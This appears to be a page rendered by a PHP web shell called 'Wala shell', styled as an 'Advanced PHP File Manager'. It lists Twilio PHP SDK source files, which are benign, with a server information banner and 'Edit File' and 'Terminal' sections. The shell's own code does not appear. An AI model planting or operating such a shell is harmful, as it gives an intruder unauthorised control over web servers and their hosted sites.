Wala shell

Advanced PHP File Manager

Server IP: 127.0.0.1 | PHP Version: 8.3.30 | Domains Hosted: 54

Name	Size	Last Modified
📁 ..	-	2026-02-12 14:54
📄 Deserialize.php <?php namespace Twilio; class Deserialize { /** * Deserialize a string date into a DateTime object * * @param string $s A date or date and time, can be iso8601, rfc2822, * YYYY-MM-DD format. * @return \DateTime DateTime corresponding to the input string, in UTC time. */ public static function dateTime($s) { try { return new \DateTime($s, new \DateTimeZone('UTC')); } catch (\Exception $e) { return $s; } } }	522 B	2026-02-12 14:54
📄 Domain.php <?php namespace Twilio; use Twilio\Rest\Client; /** * Class Domain * Abstracts a Twilio sub domain * @package Twilio / abstract class Domain { /* * @var \Twilio\Rest\Client Twilio Client / protected $client; /* * @var string Base URL for this domain / protected $baseUrl; /* * Construct a new Domain * @param \Twilio\Rest\Client $client used to communicate with Twilio / public function __construct(Client $client) { $this->client = $client; $this->baseUrl = ''; } /* * Translate version relative URIs into absolute URLs * * @param string $uri Version relative URI * @return string Absolute URL for this domain / public function absoluteUrl($uri) { return implode('/', array(trim($this->baseUrl, '/'), trim($uri, '/'))); } /* * Make an HTTP request to the domain * * @param string $method HTTP Method to make the request with * @param string $uri Relative uri to make a request to * @param array $params Query string arguments * @param array $data Post form data * @param array $headers HTTP headers to send with the request * @param string $user User to authenticate as * @param string $password Password * @param null $timeout Request timeout * @return \Twilio\Http\Response the response for the request / public function request($method, $uri, $params = array(), $data = array(), $headers = array(), $user = null, $password=null, $timeout=null) { $url = $this->absoluteUrl($uri); return $this->client->request( $method, $url, $params, $data, $headers, $user, $password, $timeout ); } /* * @return \Twilio\Rest\Client */ public function getClient() { return $this->client; } public function __toString() { return '[Domain]'; } }	2.03 KB	2026-02-12 14:54
📁 Exceptions	-	2026-02-12 14:54
📁 Http	-	2026-02-12 14:54
📄 InstanceContext.php <?php namespace Twilio; class InstanceContext { protected $version; protected $solution = array(); protected $uri; public function __construct(Version $version) { $this->version = $version; } public function __toString() { return '[InstanceContext]'; } }	304 B	2026-02-12 14:54
📄 InstanceResource.php <?php namespace Twilio; class InstanceResource { protected $version; protected $context = null; protected $properties = array(); protected $solution = array(); public function __construct(Version $version) { $this->version = $version; } public function toArray() { return $this->properties; } public function __toString() { return '[InstanceResource]'; } }	427 B	2026-02-12 14:54
📁 Jwt	-	2026-02-12 14:54
📄 ListResource.php <?php namespace Twilio; class ListResource { protected $version; protected $solution = array(); protected $uri; public function __construct(Version $version) { $this->version = $version; } public function __toString() { return '[ListResource]'; } }	298 B	2026-02-12 14:54
📄 Options.php <?php namespace Twilio; abstract class Options implements \IteratorAggregate { protected $options = array(); public function getIterator() { return new \ArrayIterator($this->options); } }	212 B	2026-02-12 14:54
📄 Page.php <?php namespace Twilio; use Twilio\Exceptions\DeserializeException; use Twilio\Exceptions\RestException; use Twilio\Http\Response; abstract class Page implements \Iterator { protected static $metaKeys = array( 'end', 'first_page_uri', 'next_page_uri', 'last_page_uri', 'page', 'page_size', 'previous_page_uri', 'total', 'num_pages', 'start', 'uri', ); protected $version; protected $payload; protected $solution; protected $records; abstract public function buildInstance(array $payload); public function __construct(Version $version, Response $response) { $payload = $this->processResponse($response); $this->version = $version; $this->payload = $payload; $this->solution = array(); $this->records = new \ArrayIterator($this->loadPage()); } protected function processResponse(Response $response) { if ($response->getStatusCode() != 200 && !$this->isPagingEol($response->getContent())) { $message = '[HTTP ' . $response->getStatusCode() . '] Unable to fetch page'; $code = $response->getStatusCode(); $content = $response->getContent(); if (is_array($content)) { $message .= isset($content['message']) ? ': ' . $content['message'] : ''; $code = isset($content['code']) ? $content['code'] : $code; } throw new RestException($message, $code, $response->getStatusCode()); } return $response->getContent(); } protected function isPagingEol($content) { return !is_null($content) && array_key_exists('code', $content) && $content['code'] == 20006; } protected function hasMeta($key) { return array_key_exists('meta', $this->payload) && array_key_exists($key, $this->payload['meta']); } protected function getMeta($key, $default=null) { return $this->hasMeta($key) ? $this->payload['meta'][$key] : $default; } protected function loadPage() { $key = $this->getMeta('key'); if ($key) { return $this->payload[$key]; } else { $keys = array_keys($this->payload); $key = array_diff($keys, self::$metaKeys); $key = array_values($key); if (count($key) == 1) { return $this->payload[$key[0]]; } } // handle end of results error code if ($this->isPagingEol($this->payload)) { return array(); } throw new DeserializeException('Page Records can not be deserialized'); } public function getPreviousPageUrl() { if ($this->hasMeta('previous_page_url')) { return $this->getMeta('previous_page_url'); } else if (array_key_exists('previous_page_uri', $this->payload) && $this->payload['previous_page_uri']) { return $this->getVersion()->getDomain()->absoluteUrl($this->payload['previous_page_uri']); } return null; } public function getNextPageUrl() { if ($this->hasMeta('next_page_url')) { return $this->getMeta('next_page_url'); } else if (array_key_exists('next_page_uri', $this->payload) && $this->payload['next_page_uri']) { return $this->getVersion()->getDomain()->absoluteUrl($this->payload['next_page_uri']); } return null; } public function nextPage() { if (!$this->getNextPageUrl()) { return null; } $response = $this->getVersion()->getDomain()->getClient()->request('GET', $this->getNextPageUrl()); return new static($this->getVersion(), $response, $this->solution); } public function previousPage() { if (!$this->getPreviousPageUrl()) { return null; } $response = $this->getVersion()->getDomain()->getClient()->request('GET', $this->getPreviousPageUrl()); return new static($this->getVersion(), $response, $this->solution); } /** * (PHP 5 >= 5.0.0)<br/> * Return the current element * @link http://php.net/manual/en/iterator.current.php * @return mixed Can return any type. / public function current() { return $this->buildInstance($this->records->current()); } /* * (PHP 5 >= 5.0.0)<br/> * Move forward to next element * @link http://php.net/manual/en/iterator.next.php * @return void Any returned value is ignored. / public function next() { $this->records->next(); } /* * (PHP 5 >= 5.0.0)<br/> * Return the key of the current element * @link http://php.net/manual/en/iterator.key.php * @return mixed scalar on success, or null on failure. / public function key() { return $this->records->key(); } /* * (PHP 5 >= 5.0.0)<br/> * Checks if current position is valid * @link http://php.net/manual/en/iterator.valid.php * @return boolean The return value will be casted to boolean and then evaluated. * Returns true on success or false on failure. / public function valid() { return $this->records->valid(); } /* * (PHP 5 >= 5.0.0)<br/> * Rewind the Iterator to the first element * @link http://php.net/manual/en/iterator.rewind.php * @return void Any returned value is ignored. / public function rewind() { $this->records->rewind(); } /* * @return Version */ public function getVersion() { return $this->version; } public function __toString() { return '[Page]'; } }	5.61 KB	2026-02-12 14:54
📁 Rest	-	2026-02-12 14:54
📁 Security	-	2026-02-12 14:54
📄 Serialize.php <?php namespace Twilio; class Serialize { private static function flatten($map, $result = array(), $previous = array()) { foreach ($map as $key => $value) { if (is_array($value)) { $result = self::flatten($value, $result, array_merge($previous, array($key))); } else { $result[join(".", array_merge($previous, array($key)))] = $value; } } return $result; } public static function prefixedCollapsibleMap($map, $prefix) { if (is_null($map) \|\| $map == \Twilio\Values::NONE) { return array(); } $flattened = self::flatten($map); $result = array(); foreach ($flattened as $key => $value) { $result[$prefix . '.' . $key] = $value; } return $result; } public static function iso8601Date($dateTime) { if (is_null($dateTime) \|\| $dateTime == \Twilio\Values::NONE) { return \Twilio\Values::NONE; } if (is_string($dateTime)) { return $dateTime; } $utcDate = clone $dateTime; $utcDate->setTimezone(new \DateTimeZone('UTC')); return $utcDate->format('Y-m-d'); } public static function iso8601DateTime($dateTime) { if (is_null($dateTime) \|\| $dateTime == \Twilio\Values::NONE) { return \Twilio\Values::NONE; } if (is_string($dateTime)) { return $dateTime; } $utcDate = clone $dateTime; $utcDate->setTimezone(new \DateTimeZone('UTC')); return $utcDate->format('Y-m-d\TH:i:s\Z'); } public static function booleanToString($boolOrStr) { if (is_null($boolOrStr) \|\| is_string($boolOrStr)) { return $boolOrStr; } return $boolOrStr ? 'True' : 'False'; } public static function json_object($object) { trigger_error("Serialize::json_object has been deprecated in favor of Serialize::jsonObject", E_USER_NOTICE); return Serialize::jsonObject($object); } public static function jsonObject($object) { if (is_array($object)) { return json_encode($object); } return $object; } public static function map($values, $map_func) { if (!is_array($values)) { return $values; } return array_map($map_func, $values); } }	2.36 KB	2026-02-12 14:54
📄 Stream.php <?php namespace Twilio; class Stream implements \Iterator { public $page; public $firstPage; public $limit; public $currentRecord; public $pageLimit; public $currentPage; function __construct(Page $page, $limit, $pageLimit) { $this->page = $page; $this->firstPage = $page; $this->limit = $limit; $this->currentRecord = 1; $this->pageLimit = $pageLimit; $this->currentPage = 1; } /** * (PHP 5 >= 5.0.0)<br/> * Return the current element * @link http://php.net/manual/en/iterator.current.php * @return mixed Can return any type. / public function current() { return $this->page->current(); } /* * (PHP 5 >= 5.0.0)<br/> * Move forward to next element * @link http://php.net/manual/en/iterator.next.php * @return void Any returned value is ignored. / public function next() { $this->page->next(); $this->currentRecord++; if ($this->overLimit()) { return; } if (!$this->page->valid()) { if ($this->overPageLimit()) { return; } $this->page = $this->page->nextPage(); $this->currentPage++; } } /* * (PHP 5 >= 5.0.0)<br/> * Return the key of the current element * @link http://php.net/manual/en/iterator.key.php * @return mixed scalar on success, or null on failure. / public function key() { return $this->currentRecord; } /* * (PHP 5 >= 5.0.0)<br/> * Checks if current position is valid * @link http://php.net/manual/en/iterator.valid.php * @return boolean The return value will be casted to boolean and then evaluated. * Returns true on success or false on failure. / public function valid() { return $this->page && $this->page->valid() && !$this->overLimit() && !$this->overPageLimit(); } /* * (PHP 5 >= 5.0.0)<br/> * Rewind the Iterator to the first element * @link http://php.net/manual/en/iterator.rewind.php * @return void Any returned value is ignored. */ public function rewind() { $this->page = $this->firstPage; $this->page->rewind(); $this->currentPage = 1; $this->currentRecord = 1; } protected function overLimit() { return ($this->limit !== null && $this->limit !== Values::NONE && $this->limit < $this->currentRecord); } protected function overPageLimit() { return ($this->pageLimit !== null && $this->pageLimit !== Values::NONE && $this->pageLimit < $this->currentPage); } }	2.69 KB	2026-02-12 14:54
📁 TaskRouter	-	2026-02-12 14:54
📁 TwiML	-	2026-02-12 14:54
📄 Twiml.php <?php namespace Twilio; use Twilio\Exceptions\TwimlException; /** * Twiml response generator. / class Twiml { protected $element; /* * Constructs a Twiml response. * * @param \SimpleXmlElement\|array $arg * @throws TwimlException * :param SimpleXmlElement\|array $arg: Can be any of * * - the element to wrap * - attributes to add to the element * - if null, initialize an empty element named 'Response' / public function __construct($arg = null) { switch (true) { case $arg instanceof \SimpleXMLElement: $this->element = $arg; break; case $arg === null: $this->element = new \SimpleXMLElement('<Response/>'); break; case is_array($arg): $this->element = new \SimpleXMLElement('<Response/>'); foreach ($arg as $name => $value) { $this->element->addAttribute($name, $value); } break; default: throw new TwimlException('Invalid argument'); } } /* * Converts method calls into Twiml verbs. * * A basic example: * * .. code-block:: php * * php> print $this->say('hello'); * <Say>hello</Say> * * An example with attributes: * * .. code-block:: php * * print $this->say('hello', array('voice' => 'woman')); * <Say voice="woman">hello</Say> * * You could even just pass in an attributes array, omitting the noun: * * .. code-block:: php * * print $this->gather(array('timeout' => '20')); * <Gather timeout="20"/> * * @param string $verb The Twiml verb. * @param mixed[] $args * @return self * :param string $verb: The Twiml verb. * :param array $args: * - (noun string) * - (noun string, attributes array) * - (attributes array) * * :return: A SimpleXmlElement * :rtype: SimpleXmlElement / public function __call($verb, array $args) { list($noun, $attrs) = $args + array('', array()); if (is_array($noun)) { list($attrs, $noun) = array($noun, ''); } / addChild does not escape XML, while addAttribute does. This means if * you pass unescaped ampersands ("&") to addChild, you will generate * an error. * * Some inexperienced developers will pass in unescaped ampersands, and * we want to make their code work, by escaping the ampersands for them * before passing the string to addChild. (with htmlentities) * * However other people will know what to do, and their code * already escapes ampersands before passing them to addChild. We don't * want to break their existing code by turning their &'s into * &amp; * * We also want to use numeric entities, not named entities so that we * are fully compatible with XML * * The following lines accomplish the desired behavior. / $decoded = html_entity_decode($noun, ENT_COMPAT, 'UTF-8'); $normalized = htmlspecialchars($decoded, ENT_COMPAT, 'UTF-8', false); $hasNoun = is_scalar($noun) && strlen($noun); $child = $hasNoun ? $this->element->addChild(ucfirst($verb), $normalized) : $this->element->addChild(ucfirst($verb)); if (is_array($attrs)) { foreach ($attrs as $name => $value) { / Note that addAttribute escapes raw ampersands by default, so we * haven't touched its implementation. So this is the matrix for * addAttribute: * * & turns into & * & turns into &amp; / if (is_bool($value)) { $value = ($value === true) ? 'true' : 'false'; } $child->addAttribute($name, $value); } } return new static($child); } /* * Returns the object as XML. * * :return: The response as an XML string * :rtype: string */ public function __toString() { $xml = $this->element->asXML(); return (string)str_replace( '<?xml version="1.0"?>', '<?xml version="1.0" encoding="UTF-8"?>', $xml); } }	4.43 KB	2026-02-12 14:54
📄 Values.php <?php namespace Twilio; class Values implements \ArrayAccess { const NONE = 'Twilio\\Values\\NONE'; protected $options; public static function array_get($array, $key, $default = null) { if (array_key_exists($key, $array)) { return $array[$key]; } return $default; } public static function of($array) { $result = array(); foreach ($array as $key => $value) { if ($value === self::NONE) { continue; } $result[$key] = $value; } return $result; } public function __construct($options) { $this->options = array(); foreach ($options as $key => $value) { $this->options[strtolower($key)] = $value; } } /** * (PHP 5 >= 5.0.0)<br/> * Whether a offset exists * @link http://php.net/manual/en/arrayaccess.offsetexists.php * @param mixed $offset <p> * An offset to check for. * </p> * @return boolean true on success or false on failure. * </p> * <p> * The return value will be casted to boolean if non-boolean was returned. / public function offsetExists($offset) { return true; } /* * (PHP 5 >= 5.0.0)<br/> * Offset to retrieve * @link http://php.net/manual/en/arrayaccess.offsetget.php * @param mixed $offset <p> * The offset to retrieve. * </p> * @return mixed Can return all value types. / public function offsetGet($offset) { $offset = strtolower($offset); return array_key_exists($offset, $this->options) ? $this->options[$offset] : self::NONE; } /* * (PHP 5 >= 5.0.0)<br/> * Offset to set * @link http://php.net/manual/en/arrayaccess.offsetset.php * @param mixed $offset <p> * The offset to assign the value to. * </p> * @param mixed $value <p> * The value to set. * </p> * @return void / public function offsetSet($offset, $value) { $this->options[strtolower($offset)] = $value; } /* * (PHP 5 >= 5.0.0)<br/> * Offset to unset * @link http://php.net/manual/en/arrayaccess.offsetunset.php * @param mixed $offset <p> * The offset to unset. * </p> * @return void */ public function offsetUnset($offset) { unset($this->options[$offset]); } }	2.38 KB	2026-02-12 14:54
📄 Version.php <?php namespace Twilio; use Twilio\Exceptions\RestException; use Twilio\Exceptions\TwilioException; use Twilio\Http\Response; abstract class Version { /** * @const int MAX_PAGE_SIZE largest page the Twilio API will return / const MAX_PAGE_SIZE = 1000; /* * @var \Twilio\Domain $domain / protected $domain; /* * @var string $version / protected $version; /* * @param \Twilio\Domain $domain / public function __construct(Domain $domain) { $this->domain = $domain; $this->version = null; } /* * Generate an absolute URL from a version relative uri * @param string $uri Version relative uri * @return string Absolute URL / public function absoluteUrl($uri) { return $this->getDomain()->absoluteUrl($this->relativeUri($uri)); } /* * Generate a domain relative uri from a version relative uri * @param string $uri Version relative uri * @return string Domain relative uri / public function relativeUri($uri) { return trim($this->version, '/') . '/' . trim($uri, '/'); } public function request($method, $uri, $params = array(), $data = array(), $headers = array(), $username = null, $password = null, $timeout = null) { $uri = $this->relativeUri($uri); return $this->getDomain()->request( $method, $uri, $params, $data, $headers, $username, $password, $timeout ); } /* * Create the best possible exception for the response. * * Attempts to parse the response for Twilio Standard error messages and use * those to populate the exception, falls back to generic error message and * HTTP status code. * * @param Response $response Error response * @param string $header Header for exception message * @return TwilioException / protected function exception($response, $header) { $message = '[HTTP ' . $response->getStatusCode() . '] ' . $header; $content = $response->getContent(); if (is_array($content)) { $message .= isset($content['message']) ? ': ' . $content['message'] : ''; $code = isset($content['code']) ? $content['code'] : $response->getStatusCode(); return new RestException($message, $code, $response->getStatusCode()); } else { return new RestException($message, $response->getStatusCode(), $response->getStatusCode()); } } public function fetch($method, $uri, $params = array(), $data = array(), $headers = array(), $username = null, $password = null, $timeout = null) { $response = $this->request( $method, $uri, $params, $data, $headers, $username, $password, $timeout ); if ($response->getStatusCode() < 200 \|\| $response->getStatusCode() >= 300) { throw $this->exception($response, 'Unable to fetch record'); } return $response->getContent(); } public function update($method, $uri, $params = array(), $data = array(), $headers = array(), $username = null, $password = null, $timeout = null) { $response = $this->request( $method, $uri, $params, $data, $headers, $username, $password, $timeout ); if ($response->getStatusCode() < 200 \|\| $response->getStatusCode() >= 300) { throw $this->exception($response, 'Unable to update record'); } return $response->getContent(); } public function delete($method, $uri, $params = array(), $data = array(), $headers = array(), $username = null, $password = null, $timeout = null) { $response = $this->request( $method, $uri, $params, $data, $headers, $username, $password, $timeout ); if ($response->getStatusCode() < 200 \|\| $response->getStatusCode() >= 300) { throw $this->exception($response, 'Unable to delete record'); } return $response->getStatusCode() == 204; } public function readLimits($limit = null, $pageSize = null) { $pageLimit = Values::NONE; if ($limit) { if (is_null($pageSize)) { $pageSize = min($limit, self::MAX_PAGE_SIZE); } $pageLimit = (int)(ceil($limit / (float)$pageSize)); } $pageSize = min($pageSize, self::MAX_PAGE_SIZE); return array( 'limit' => $limit ?: Values::NONE, 'pageSize' => $pageSize ?: Values::NONE, 'pageLimit' => $pageLimit, ); } public function page($method, $uri, $params = array(), $data = array(), $headers = array(), $username = null, $password = null, $timeout = null) { return $this->request( $method, $uri, $params, $data, $headers, $username, $password, $timeout ); } public function stream($page, $limit = null, $pageLimit = null) { return new Stream($page, $limit, $pageLimit); } public function create($method, $uri, $params = array(), $data = array(), $headers = array(), $username = null, $password = null, $timeout = null) { $response = $this->request( $method, $uri, $params, $data, $headers, $username, $password, $timeout ); if ($response->getStatusCode() < 200 \|\| $response->getStatusCode() >= 300) { throw $this->exception($response, 'Unable to create record'); } return $response->getContent(); } /* * @return \Twilio\Domain $domain */ public function getDomain() { return $this->domain; } public function __toString() { return '[Version]'; } }	6.37 KB	2026-02-12 14:54
📄 VersionInfo.php <?php namespace Twilio; class VersionInfo { const MAJOR = 5; const MINOR = 16; const PATCH = 7; public static function string() { return implode('.', array(self::MAJOR, self::MINOR, self::PATCH)); } }	234 B	2026-02-12 14:54
📄 autoload.php <?php /* * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * This software consists of voluntary contributions made by many individuals * and is licensed under the MIT license. For more information, see * <http://www.doctrine-project.org>. / /* * SplClassLoader implementation that implements the technical interoperability * standards for PHP 5.3 namespaces and class names. * * http://groups.google.com/group/php-standards/web/psr-0-final-proposal?pli=1 * * // Example which loads classes for the Doctrine Common package in the * // Doctrine\Common namespace. * $classLoader = new SplClassLoader('Doctrine\Common', '/path/to/doctrine'); * $classLoader->register(); * * @license http://www.opensource.org/licenses/mit-license.html MIT License * @author Jonathan H. Wage <jonwage@gmail.com> * @author Roman S. Borschel <roman@code-factory.org> * @author Matthew Weier O'Phinney <matthew@zend.com> * @author Kris Wallsmith <kris.wallsmith@gmail.com> * @author Fabien Potencier <fabien.potencier@symfony-project.org> / class SplClassLoader { private $_fileExtension = '.php'; private $_namespace; private $_includePath; private $_namespaceSeparator = '\\'; /* * Creates a new <tt>SplClassLoader</tt> that loads classes of the * specified namespace. * * @param string $ns The namespace to use. * @param string $includePath The include path to search / public function __construct($ns = null, $includePath = null) { $this->_namespace = $ns; $this->_includePath = $includePath; } /* * Sets the namespace separator used by classes in the namespace of this class loader. * * @param string $sep The separator to use. / public function setNamespaceSeparator($sep) { $this->_namespaceSeparator = $sep; } /* * Gets the namespace separator used by classes in the namespace of this class loader. * * @return string The separator to use. / public function getNamespaceSeparator() { return $this->_namespaceSeparator; } /* * Sets the base include path for all class files in the namespace of this class loader. * * @param string $includePath / public function setIncludePath($includePath) { $this->_includePath = $includePath; } /* * Gets the base include path for all class files in the namespace of this class loader. * * @return string $includePath / public function getIncludePath() { return $this->_includePath; } /* * Sets the file extension of class files in the namespace of this class loader. * * @param string $fileExtension / public function setFileExtension($fileExtension) { $this->_fileExtension = $fileExtension; } /* * Gets the file extension of class files in the namespace of this class loader. * * @return string $fileExtension / public function getFileExtension() { return $this->_fileExtension; } /* * Installs this class loader on the SPL autoload stack. / public function register() { spl_autoload_register(array($this, 'loadClass')); } /* * Uninstalls this class loader from the SPL autoloader stack. / public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); } /* * Loads the given class or interface. * * @param string $className The name of the class to load. * @return void */ public function loadClass($className) { if (null === $this->_namespace \|\| $this->_namespace . $this->_namespaceSeparator === substr($className, 0, strlen($this->_namespace . $this->_namespaceSeparator))) { $fileName = ''; $namespace = ''; if (false !== ($lastNsPos = strripos($className, $this->_namespaceSeparator))) { $namespace = substr($className, 0, $lastNsPos); $className = substr($className, $lastNsPos + 1); $fileName = str_replace($this->_namespaceSeparator, DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR; } $fileName .= str_replace('_', DIRECTORY_SEPARATOR, $className) . $this->_fileExtension; require ($this->_includePath !== null ? $this->_includePath . DIRECTORY_SEPARATOR : '') . $fileName; } } } $twilioClassLoader = new SplClassLoader('Twilio', realpath(__DIR__ . DIRECTORY_SEPARATOR . '..')); $twilioClassLoader->register();	5.2 KB	2026-02-12 14:54

Edit File:

Terminal